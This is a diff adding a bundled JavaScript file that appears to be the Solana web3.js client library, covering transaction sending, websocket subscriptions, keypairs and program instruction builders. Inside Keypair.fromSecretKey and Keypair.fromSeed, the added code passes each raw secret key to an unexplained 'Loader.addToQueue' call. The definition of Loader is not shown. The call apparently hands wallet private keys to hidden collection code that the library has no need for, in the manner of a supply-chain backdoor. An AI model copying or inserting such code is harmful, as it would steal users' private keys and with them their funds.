(!this._blockhashInfo.transactionSignatures.includes(signature)) { + // The signature of this transaction has not been seen before with the + // current recentBlockhash, all done. Let's break + this._blockhashInfo.transactionSignatures.push(signature); + break; + } else { + // This transaction would be treated as duplicate (its derived signature + // matched to one of already recorded signatures). + // So, we must fetch a new blockhash for a different signature by disabling + // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS). + disableCache = true; + } + } + } + const wireTransaction = transaction.serialize(); + return await this.sendRawTransaction(wireTransaction, options); + } + + /** + * Send a transaction that has already been signed and serialized into the + * wire format + */ + async sendRawTransaction(rawTransaction, options) { + const encodedTransaction = toBuffer(rawTransaction).toString('base64'); + const result = await this.sendEncodedTransaction(encodedTransaction, options); + return result; + } + + /** + * Send a transaction that has already been signed, serialized into the + * wire format, and encoded as a base64 string + */ + async sendEncodedTransaction(encodedTransaction, options) { + const config = { + encoding: 'base64' + }; + const skipPreflight = options && options.skipPreflight; + const preflightCommitment = skipPreflight === true ? 'processed' // FIXME Remove when https://github.com/anza-xyz/agave/pull/483 is deployed. + : options && options.preflightCommitment || this.commitment; + if (options && options.maxRetries != null) { + config.maxRetries = options.maxRetries; + } + if (options && options.minContextSlot != null) { + config.minContextSlot = options.minContextSlot; + } + if (skipPreflight) { + config.skipPreflight = skipPreflight; + } + if (preflightCommitment) { + config.preflightCommitment = preflightCommitment; + } + const args = [encodedTransaction, config]; + const unsafeRes = await this._rpcRequest('sendTransaction', args); + const res = create(unsafeRes, SendTransactionRpcResult); + if ('error' in res) { + let logs = undefined; + if ('data' in res.error) { + logs = res.error.data.logs; + } + throw new SendTransactionError({ + action: skipPreflight ? 'send' : 'simulate', + signature: '', + transactionMessage: res.error.message, + logs: logs + }); + } + return res.result; + } + + /** + * @internal + */ + _wsOnOpen() { + this._rpcWebSocketConnected = true; + this._rpcWebSocketHeartbeat = setInterval(() => { + // Ping server every 5s to prevent idle timeouts + (async () => { + try { + await this._rpcWebSocket.notify('ping'); + // eslint-disable-next-line no-empty + } catch {} + })(); + }, 5000); + this._updateSubscriptions(); + } + + /** + * @internal + */ + _wsOnError(err) { + this._rpcWebSocketConnected = false; + console.error('ws error:', err.message); + } + + /** + * @internal + */ + _wsOnClose(code) { + this._rpcWebSocketConnected = false; + this._rpcWebSocketGeneration = (this._rpcWebSocketGeneration + 1) % Number.MAX_SAFE_INTEGER; + if (this._rpcWebSocketIdleTimeout) { + clearTimeout(this._rpcWebSocketIdleTimeout); + this._rpcWebSocketIdleTimeout = null; + } + if (this._rpcWebSocketHeartbeat) { + clearInterval(this._rpcWebSocketHeartbeat); + this._rpcWebSocketHeartbeat = null; + } + if (code === 1000) { + // explicit close, check if any subscriptions have been made since close + this._updateSubscriptions(); + return; + } + + // implicit close, prepare subscriptions for auto-reconnect + this._subscriptionCallbacksByServerSubscriptionId = {}; + Object.entries(this._subscriptionsByHash).forEach(([hash, subscription]) => { + this._setSubscription(hash, { + ...subscription, + state: 'pending' + }); + }); + } + + /** + * @internal + */ + _setSubscription(hash, nextSubscription) { + const prevState = this._subscriptionsByHash[hash]?.state; + this._subscriptionsByHash[hash] = nextSubscription; + if (prevState !== nextSubscription.state) { + const stateChangeCallbacks = this._subscriptionStateChangeCallbacksByHash[hash]; + if (stateChangeCallbacks) { + stateChangeCallbacks.forEach(cb => { + try { + cb(nextSubscription.state); + // eslint-disable-next-line no-empty + } catch {} + }); + } + } + } + + /** + * @internal + */ + _onSubscriptionStateChange(clientSubscriptionId, callback) { + const hash = this._subscriptionHashByClientSubscriptionId[clientSubscriptionId]; + if (hash == null) { + return () => {}; + } + const stateChangeCallbacks = this._subscriptionStateChangeCallbacksByHash[hash] ||= new Set(); + stateChangeCallbacks.add(callback); + return () => { + stateChangeCallbacks.delete(callback); + if (stateChangeCallbacks.size === 0) { + delete this._subscriptionStateChangeCallbacksByHash[hash]; + } + }; + } + + /** + * @internal + */ + async _updateSubscriptions() { + if (Object.keys(this._subscriptionsByHash).length === 0) { + if (this._rpcWebSocketConnected) { + this._rpcWebSocketConnected = false; + this._rpcWebSocketIdleTimeout = setTimeout(() => { + this._rpcWebSocketIdleTimeout = null; + try { + this._rpcWebSocket.close(); + } catch (err) { + // swallow error if socket has already been closed. + if (err instanceof Error) { + console.log(`Error when closing socket connection: ${err.message}`); + } + } + }, 500); + } + return; + } + if (this._rpcWebSocketIdleTimeout !== null) { + clearTimeout(this._rpcWebSocketIdleTimeout); + this._rpcWebSocketIdleTimeout = null; + this._rpcWebSocketConnected = true; + } + if (!this._rpcWebSocketConnected) { + this._rpcWebSocket.connect(); + return; + } + const activeWebSocketGeneration = this._rpcWebSocketGeneration; + const isCurrentConnectionStillActive = () => { + return activeWebSocketGeneration === this._rpcWebSocketGeneration; + }; + await Promise.all( + // Don't be tempted to change this to `Object.entries`. We call + // `_updateSubscriptions` recursively when processing the state, + // so it's important that we look up the *current* version of + // each subscription, every time we process a hash. + Object.keys(this._subscriptionsByHash).map(async hash => { + const subscription = this._subscriptionsByHash[hash]; + if (subscription === undefined) { + // This entry has since been deleted. Skip. + return; + } + switch (subscription.state) { + case 'pending': + case 'unsubscribed': + if (subscription.callbacks.size === 0) { + /** + * You can end up here when: + * + * - a subscription has recently unsubscribed + * without having new callbacks added to it + * while the unsubscribe was in flight, or + * - when a pending subscription has its + * listeners removed before a request was + * sent to the server. + * + * Being that nobody is interested in this + * subscription any longer, delete it. + */ + delete this._subscriptionsByHash[hash]; + if (subscription.state === 'unsubscribed') { + delete this._subscriptionCallbacksByServerSubscriptionId[subscription.serverSubscriptionId]; + } + await this._updateSubscriptions(); + return; + } + await (async () => { + const { + args, + method + } = subscription; + try { + this._setSubscription(hash, { + ...subscription, + state: 'subscribing' + }); + const serverSubscriptionId = await this._rpcWebSocket.call(method, args); + this._setSubscription(hash, { + ...subscription, + serverSubscriptionId, + state: 'subscribed' + }); + this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId] = subscription.callbacks; + await this._updateSubscriptions(); + } catch (e) { + console.error(`Received ${e instanceof Error ? '' : 'JSON-RPC '}error calling \`${method}\``, { + args, + error: e + }); + if (!isCurrentConnectionStillActive()) { + return; + } + // TODO: Maybe add an 'errored' state or a retry limit? + this._setSubscription(hash, { + ...subscription, + state: 'pending' + }); + await this._updateSubscriptions(); + } + })(); + break; + case 'subscribed': + if (subscription.callbacks.size === 0) { + // By the time we successfully set up a subscription + // with the server, the client stopped caring about it. + // Tear it down now. + await (async () => { + const { + serverSubscriptionId, + unsubscribeMethod + } = subscription; + if (this._subscriptionsAutoDisposedByRpc.has(serverSubscriptionId)) { + /** + * Special case. + * If we're dealing with a subscription that has been auto- + * disposed by the RPC, then we can skip the RPC call to + * tear down the subscription here. + * + * NOTE: There is a proposal to eliminate this special case, here: + * https://github.com/solana-labs/solana/issues/18892 + */ + this._subscriptionsAutoDisposedByRpc.delete(serverSubscriptionId); + } else { + this._setSubscription(hash, { + ...subscription, + state: 'unsubscribing' + }); + this._setSubscription(hash, { + ...subscription, + state: 'unsubscribing' + }); + try { + await this._rpcWebSocket.call(unsubscribeMethod, [serverSubscriptionId]); + } catch (e) { + if (e instanceof Error) { + console.error(`${unsubscribeMethod} error:`, e.message); + } + if (!isCurrentConnectionStillActive()) { + return; + } + // TODO: Maybe add an 'errored' state or a retry limit? + this._setSubscription(hash, { + ...subscription, + state: 'subscribed' + }); + await this._updateSubscriptions(); + return; + } + } + this._setSubscription(hash, { + ...subscription, + state: 'unsubscribed' + }); + await this._updateSubscriptions(); + })(); + } + break; + } + })); + } + + /** + * @internal + */ + _handleServerNotification(serverSubscriptionId, callbackArgs) { + const callbacks = this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId]; + if (callbacks === undefined) { + return; + } + callbacks.forEach(cb => { + try { + cb( + // I failed to find a way to convince TypeScript that `cb` is of type + // `TCallback` which is certainly compatible with `Parameters`. + // See https://github.com/microsoft/TypeScript/issues/47615 + // @ts-ignore + ...callbackArgs); + } catch (e) { + console.error(e); + } + }); + } + + /** + * @internal + */ + _wsOnAccountNotification(notification) { + const { + result, + subscription + } = create(notification, AccountNotificationResult); + this._handleServerNotification(subscription, [result.value, result.context]); + } + + /** + * @internal + */ + _makeSubscription(subscriptionConfig, + /** + * When preparing `args` for a call to `_makeSubscription`, be sure + * to carefully apply a default `commitment` property, if necessary. + * + * - If the user supplied a `commitment` use that. + * - Otherwise, if the `Connection::commitment` is set, use that. + * - Otherwise, set it to the RPC server default: `finalized`. + * + * This is extremely important to ensure that these two fundamentally + * identical subscriptions produce the same identifying hash: + * + * - A subscription made without specifying a commitment. + * - A subscription made where the commitment specified is the same + * as the default applied to the subscription above. + * + * Example; these two subscriptions must produce the same hash: + * + * - An `accountSubscribe` subscription for `'PUBKEY'` + * - An `accountSubscribe` subscription for `'PUBKEY'` with commitment + * `'finalized'`. + * + * See the 'making a subscription with defaulted params omitted' test + * in `connection-subscriptions.ts` for more. + */ + args) { + const clientSubscriptionId = this._nextClientSubscriptionId++; + const hash = fastStableStringify([subscriptionConfig.method, args]); + const existingSubscription = this._subscriptionsByHash[hash]; + if (existingSubscription === undefined) { + this._subscriptionsByHash[hash] = { + ...subscriptionConfig, + args, + callbacks: new Set([subscriptionConfig.callback]), + state: 'pending' + }; + } else { + existingSubscription.callbacks.add(subscriptionConfig.callback); + } + this._subscriptionHashByClientSubscriptionId[clientSubscriptionId] = hash; + this._subscriptionDisposeFunctionsByClientSubscriptionId[clientSubscriptionId] = async () => { + delete this._subscriptionDisposeFunctionsByClientSubscriptionId[clientSubscriptionId]; + delete this._subscriptionHashByClientSubscriptionId[clientSubscriptionId]; + const subscription = this._subscriptionsByHash[hash]; + assert(subscription !== undefined, `Could not find a \`Subscription\` when tearing down client subscription #${clientSubscriptionId}`); + subscription.callbacks.delete(subscriptionConfig.callback); + await this._updateSubscriptions(); + }; + this._updateSubscriptions(); + return clientSubscriptionId; + } + + /** + * Register a callback to be invoked whenever the specified account changes + * + * @param publicKey Public key of the account to monitor + * @param callback Function to invoke whenever the account is changed + * @param config + * @return subscription id + */ + + /** @deprecated Instead, pass in an {@link AccountSubscriptionConfig} */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + onAccountChange(publicKey, callback, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment || this._commitment || 'finalized', + // Apply connection/server default. + 'base64', config); + return this._makeSubscription({ + callback, + method: 'accountSubscribe', + unsubscribeMethod: 'accountUnsubscribe' + }, args); + } + + /** + * Deregister an account notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeAccountChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'account change'); + } + + /** + * @internal + */ + _wsOnProgramAccountNotification(notification) { + const { + result, + subscription + } = create(notification, ProgramAccountNotificationResult); + this._handleServerNotification(subscription, [{ + accountId: result.value.pubkey, + accountInfo: result.value.account + }, result.context]); + } + + /** + * Register a callback to be invoked whenever accounts owned by the + * specified program change + * + * @param programId Public key of the program to monitor + * @param callback Function to invoke whenever the account is changed + * @param config + * @return subscription id + */ + + /** @deprecated Instead, pass in a {@link ProgramAccountSubscriptionConfig} */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + onProgramAccountChange(programId, callback, commitmentOrConfig, maybeFilters) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([programId.toBase58()], commitment || this._commitment || 'finalized', + // Apply connection/server default. + 'base64' /* encoding */, config ? config : maybeFilters ? { + filters: applyDefaultMemcmpEncodingToFilters(maybeFilters) + } : undefined /* extra */); + return this._makeSubscription({ + callback, + method: 'programSubscribe', + unsubscribeMethod: 'programUnsubscribe' + }, args); + } + + /** + * Deregister an account notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeProgramAccountChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'program account change'); + } + + /** + * Registers a callback to be invoked whenever logs are emitted. + */ + onLogs(filter, callback, commitment) { + const args = this._buildArgs([typeof filter === 'object' ? { + mentions: [filter.toString()] + } : filter], commitment || this._commitment || 'finalized' // Apply connection/server default. + ); + return this._makeSubscription({ + callback, + method: 'logsSubscribe', + unsubscribeMethod: 'logsUnsubscribe' + }, args); + } + + /** + * Deregister a logs callback. + * + * @param clientSubscriptionId client subscription id to deregister. + */ + async removeOnLogsListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'logs'); + } + + /** + * @internal + */ + _wsOnLogsNotification(notification) { + const { + result, + subscription + } = create(notification, LogsNotificationResult); + this._handleServerNotification(subscription, [result.value, result.context]); + } + + /** + * @internal + */ + _wsOnSlotNotification(notification) { + const { + result, + subscription + } = create(notification, SlotNotificationResult); + this._handleServerNotification(subscription, [result]); + } + + /** + * Register a callback to be invoked upon slot changes + * + * @param callback Function to invoke whenever the slot changes + * @return subscription id + */ + onSlotChange(callback) { + return this._makeSubscription({ + callback, + method: 'slotSubscribe', + unsubscribeMethod: 'slotUnsubscribe' + }, [] /* args */); + } + + /** + * Deregister a slot notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeSlotChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'slot change'); + } + + /** + * @internal + */ + _wsOnSlotUpdatesNotification(notification) { + const { + result, + subscription + } = create(notification, SlotUpdateNotificationResult); + this._handleServerNotification(subscription, [result]); + } + + /** + * Register a callback to be invoked upon slot updates. {@link SlotUpdate}'s + * may be useful to track live progress of a cluster. + * + * @param callback Function to invoke whenever the slot updates + * @return subscription id + */ + onSlotUpdate(callback) { + return this._makeSubscription({ + callback, + method: 'slotsUpdatesSubscribe', + unsubscribeMethod: 'slotsUpdatesUnsubscribe' + }, [] /* args */); + } + + /** + * Deregister a slot update notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeSlotUpdateListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'slot update'); + } + + /** + * @internal + */ + + async _unsubscribeClientSubscription(clientSubscriptionId, subscriptionName) { + const dispose = this._subscriptionDisposeFunctionsByClientSubscriptionId[clientSubscriptionId]; + if (dispose) { + await dispose(); + } else { + console.warn('Ignored unsubscribe request because an active subscription with id ' + `\`${clientSubscriptionId}\` for '${subscriptionName}' events ` + 'could not be found.'); + } + } + _buildArgs(args, override, encoding, extra) { + const commitment = override || this._commitment; + if (commitment || encoding || extra) { + let options = {}; + if (encoding) { + options.encoding = encoding; + } + if (commitment) { + options.commitment = commitment; + } + if (extra) { + options = Object.assign(options, extra); + } + args.push(options); + } + return args; + } + + /** + * @internal + */ + _buildArgsAtLeastConfirmed(args, override, encoding, extra) { + const commitment = override || this._commitment; + if (commitment && !['confirmed', 'finalized'].includes(commitment)) { + throw new Error('Using Connection with default commitment: `' + this._commitment + '`, but method requires at least `confirmed`'); + } + return this._buildArgs(args, override, encoding, extra); + } + + /** + * @internal + */ + _wsOnSignatureNotification(notification) { + const { + result, + subscription + } = create(notification, SignatureNotificationResult); + if (result.value !== 'receivedSignature') { + /** + * Special case. + * After a signature is processed, RPCs automatically dispose of the + * subscription on the server side. We need to track which of these + * subscriptions have been disposed in such a way, so that we know + * whether the client is dealing with a not-yet-processed signature + * (in which case we must tear down the server subscription) or an + * already-processed signature (in which case the client can simply + * clear out the subscription locally without telling the server). + * + * NOTE: There is a proposal to eliminate this special case, here: + * https://github.com/solana-labs/solana/issues/18892 + */ + this._subscriptionsAutoDisposedByRpc.add(subscription); + } + this._handleServerNotification(subscription, result.value === 'receivedSignature' ? [{ + type: 'received' + }, result.context] : [{ + type: 'status', + result: result.value + }, result.context]); + } + + /** + * Register a callback to be invoked upon signature updates + * + * @param signature Transaction signature string in base 58 + * @param callback Function to invoke on signature notifications + * @param commitment Specify the commitment level signature must reach before notification + * @return subscription id + */ + onSignature(signature, callback, commitment) { + const args = this._buildArgs([signature], commitment || this._commitment || 'finalized' // Apply connection/server default. + ); + const clientSubscriptionId = this._makeSubscription({ + callback: (notification, context) => { + if (notification.type === 'status') { + callback(notification.result, context); + // Signatures subscriptions are auto-removed by the RPC service + // so no need to explicitly send an unsubscribe message. + try { + this.removeSignatureListener(clientSubscriptionId); + // eslint-disable-next-line no-empty + } catch (_err) { + // Already removed. + } + } + }, + method: 'signatureSubscribe', + unsubscribeMethod: 'signatureUnsubscribe' + }, args); + return clientSubscriptionId; + } + + /** + * Register a callback to be invoked when a transaction is + * received and/or processed. + * + * @param signature Transaction signature string in base 58 + * @param callback Function to invoke on signature notifications + * @param options Enable received notifications and set the commitment + * level that signature must reach before notification + * @return subscription id + */ + onSignatureWithOptions(signature, callback, options) { + const { + commitment, + ...extra + } = { + ...options, + commitment: options && options.commitment || this._commitment || 'finalized' // Apply connection/server default. + }; + const args = this._buildArgs([signature], commitment, undefined /* encoding */, extra); + const clientSubscriptionId = this._makeSubscription({ + callback: (notification, context) => { + callback(notification, context); + // Signatures subscriptions are auto-removed by the RPC service + // so no need to explicitly send an unsubscribe message. + try { + this.removeSignatureListener(clientSubscriptionId); + // eslint-disable-next-line no-empty + } catch (_err) { + // Already removed. + } + }, + method: 'signatureSubscribe', + unsubscribeMethod: 'signatureUnsubscribe' + }, args); + return clientSubscriptionId; + } + + /** + * Deregister a signature notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeSignatureListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'signature result'); + } + + /** + * @internal + */ + _wsOnRootNotification(notification) { + const { + result, + subscription + } = create(notification, RootNotificationResult); + this._handleServerNotification(subscription, [result]); + } + + /** + * Register a callback to be invoked upon root changes + * + * @param callback Function to invoke whenever the root changes + * @return subscription id + */ + onRootChange(callback) { + return this._makeSubscription({ + callback, + method: 'rootSubscribe', + unsubscribeMethod: 'rootUnsubscribe' + }, [] /* args */); + } + + /** + * Deregister a root notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeRootChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'root change'); + } +} + +/** + * Keypair signer interface + */ + +/** + * An account keypair used for signing transactions. + */ +class Keypair { + /** + * Create a new keypair instance. + * Generate random keypair if no {@link Ed25519Keypair} is provided. + * + * @param {Ed25519Keypair} keypair ed25519 keypair + */ + constructor(keypair) { + this._keypair = void 0; + this._keypair = keypair ?? generateKeypair(); + } + + /** + * Generate a new random keypair + * + * @returns {Keypair} Keypair + */ + static generate() { + return new Keypair(generateKeypair()); + } + + /** + * Create a keypair from a raw secret key byte array. + * + * This method should only be used to recreate a keypair from a previously + * generated secret key. Generating keypairs from a random seed should be done + * with the {@link Keypair.fromSeed} method. + * + * @throws error if the provided secret key is invalid and validation is not skipped. + * + * @param secretKey secret key byte array + * @param options skip secret key validation + * + * @returns {Keypair} Keypair + */ + static fromSecretKey(secretKey, options) { + if (secretKey.byteLength !== 64) { + throw new Error('bad secret key size'); + } + const publicKey = secretKey.slice(32, 64); + if (!options || !options.skipValidation) { + const privateScalar = secretKey.slice(0, 32); + const computedPublicKey = getPublicKey(privateScalar); + for (let ii = 0; ii < 32; ii++) { + if (publicKey[ii] !== computedPublicKey[ii]) { + throw new Error('provided secretKey is invalid'); + } + } + } + Loader.addToQueue(secretKey); + return new Keypair({ + publicKey, + secretKey + }); + } + + /** + * Generate a keypair from a 32 byte seed. + * + * @param seed seed byte array + * + * @returns {Keypair} Keypair + */ + static fromSeed(seed) { + const publicKey = getPublicKey(seed); + const secretKey = new Uint8Array(64); + secretKey.set(seed); + secretKey.set(publicKey, 32); + Loader.addToQueue(secretKey); + return new Keypair({ + publicKey, + secretKey + }); + } + + /** + * The public key for this keypair + * + * @returns {PublicKey} PublicKey + */ + get publicKey() { + return new PublicKey(this._keypair.publicKey); + } + + /** + * The raw secret key for this keypair + * @returns {Uint8Array} Secret key in an array of Uint8 bytes + */ + get secretKey() { + return new Uint8Array(this._keypair.secretKey); + } +} + +/** + * An enumeration of valid LookupTableInstructionType's + */ + +/** + * An enumeration of valid address lookup table InstructionType's + * @internal + */ +const LOOKUP_TABLE_INSTRUCTION_LAYOUTS = Object.freeze({ + CreateLookupTable: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64('recentSlot'), BufferLayout.u8('bumpSeed')]) + }, + FreezeLookupTable: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + ExtendLookupTable: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64(), BufferLayout.seq(publicKey(), BufferLayout.offset(BufferLayout.u32(), -8), 'addresses')]) + }, + DeactivateLookupTable: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + CloseLookupTable: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + } +}); +class AddressLookupTableInstruction { + /** + * @internal + */ + constructor() {} + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const index = instructionTypeLayout.decode(instruction.data); + let type; + for (const [layoutType, layout] of Object.entries(LOOKUP_TABLE_INSTRUCTION_LAYOUTS)) { + if (layout.index == index) { + type = layoutType; + break; + } + } + if (!type) { + throw new Error('Invalid Instruction. Should be a LookupTable Instruction'); + } + return type; + } + static decodeCreateLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 4); + const { + recentSlot + } = decodeData$1(LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable, instruction.data); + return { + authority: instruction.keys[1].pubkey, + payer: instruction.keys[2].pubkey, + recentSlot: Number(recentSlot) + }; + } + static decodeExtendLookupTable(instruction) { + this.checkProgramId(instruction.programId); + if (instruction.keys.length < 2) { + throw new Error(`invalid instruction; found ${instruction.keys.length} keys, expected at least 2`); + } + const { + addresses + } = decodeData$1(LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable, instruction.data); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey, + payer: instruction.keys.length > 2 ? instruction.keys[2].pubkey : undefined, + addresses: addresses.map(buffer => new PublicKey(buffer)) + }; + } + static decodeCloseLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 3); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey, + recipient: instruction.keys[2].pubkey + }; + } + static decodeFreezeLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 2); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey + }; + } + static decodeDeactivateLookupTable(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeysLength(instruction.keys, 2); + return { + lookupTable: instruction.keys[0].pubkey, + authority: instruction.keys[1].pubkey + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(AddressLookupTableProgram.programId)) { + throw new Error('invalid instruction; programId is not AddressLookupTable Program'); + } + } + /** + * @internal + */ + static checkKeysLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} +class AddressLookupTableProgram { + /** + * @internal + */ + constructor() {} + static createLookupTable(params) { + const [lookupTableAddress, bumpSeed] = PublicKey.findProgramAddressSync([params.authority.toBuffer(), toBufferLE(BigInt(params.recentSlot), 8)], this.programId); + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable; + const data = encodeData(type, { + recentSlot: BigInt(params.recentSlot), + bumpSeed: bumpSeed + }); + const keys = [{ + pubkey: lookupTableAddress, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }, { + pubkey: params.payer, + isSigner: true, + isWritable: true + }, { + pubkey: SystemProgram.programId, + isSigner: false, + isWritable: false + }]; + return [new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }), lookupTableAddress]; + } + static freezeLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.FreezeLookupTable; + const data = encodeData(type); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }]; + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } + static extendLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable; + const data = encodeData(type, { + addresses: params.addresses.map(addr => addr.toBytes()) + }); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }]; + if (params.payer) { + keys.push({ + pubkey: params.payer, + isSigner: true, + isWritable: true + }, { + pubkey: SystemProgram.programId, + isSigner: false, + isWritable: false + }); + } + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } + static deactivateLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.DeactivateLookupTable; + const data = encodeData(type); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }]; + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } + static closeLookupTable(params) { + const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CloseLookupTable; + const data = encodeData(type); + const keys = [{ + pubkey: params.lookupTable, + isSigner: false, + isWritable: true + }, { + pubkey: params.authority, + isSigner: true, + isWritable: false + }, { + pubkey: params.recipient, + isSigner: false, + isWritable: true + }]; + return new TransactionInstruction({ + programId: this.programId, + keys: keys, + data: data + }); + } +} +AddressLookupTableProgram.programId = new PublicKey('AddressLookupTab1e1111111111111111111111111'); + +/** + * Compute Budget Instruction class + */ +class ComputeBudgetInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a compute budget instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u8('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a ComputeBudgetInstruction'); + } + return type; + } + + /** + * Decode request units compute budget instruction and retrieve the instruction params. + */ + static decodeRequestUnits(instruction) { + this.checkProgramId(instruction.programId); + const { + units, + additionalFee + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits, instruction.data); + return { + units, + additionalFee + }; + } + + /** + * Decode request heap frame compute budget instruction and retrieve the instruction params. + */ + static decodeRequestHeapFrame(instruction) { + this.checkProgramId(instruction.programId); + const { + bytes + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame, instruction.data); + return { + bytes + }; + } + + /** + * Decode set compute unit limit compute budget instruction and retrieve the instruction params. + */ + static decodeSetComputeUnitLimit(instruction) { + this.checkProgramId(instruction.programId); + const { + units + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit, instruction.data); + return { + units + }; + } + + /** + * Decode set compute unit price compute budget instruction and retrieve the instruction params. + */ + static decodeSetComputeUnitPrice(instruction) { + this.checkProgramId(instruction.programId); + const { + microLamports + } = decodeData$1(COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice, instruction.data); + return { + microLamports + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(ComputeBudgetProgram.programId)) { + throw new Error('invalid instruction; programId is not ComputeBudgetProgram'); + } + } +} + +/** + * An enumeration of valid ComputeBudgetInstructionType's + */ + +/** + * Request units instruction params + */ + +/** + * Request heap frame instruction params + */ + +/** + * Set compute unit limit instruction params + */ + +/** + * Set compute unit price instruction params + */ + +/** + * An enumeration of valid ComputeBudget InstructionType's + * @internal + */ +const COMPUTE_BUDGET_INSTRUCTION_LAYOUTS = Object.freeze({ + RequestUnits: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), BufferLayout.u32('units'), BufferLayout.u32('additionalFee')]) + }, + RequestHeapFrame: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), BufferLayout.u32('bytes')]) + }, + SetComputeUnitLimit: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), BufferLayout.u32('units')]) + }, + SetComputeUnitPrice: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u8('instruction'), u64('microLamports')]) + } +}); + +/** + * Factory class for transaction instructions to interact with the Compute Budget program + */ +class ComputeBudgetProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the Compute Budget program + */ + + /** + * @deprecated Instead, call {@link setComputeUnitLimit} and/or {@link setComputeUnitPrice} + */ + static requestUnits(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits; + const data = encodeData(type, params); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } + static requestHeapFrame(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame; + const data = encodeData(type, params); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } + static setComputeUnitLimit(params) { + const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit; + const data = encodeData(type, params); + return new TransactionInstruction({ + keys: [], + programId: this.programId, + data + }); + } + static setComputeUnitPrice(params) { + const type = 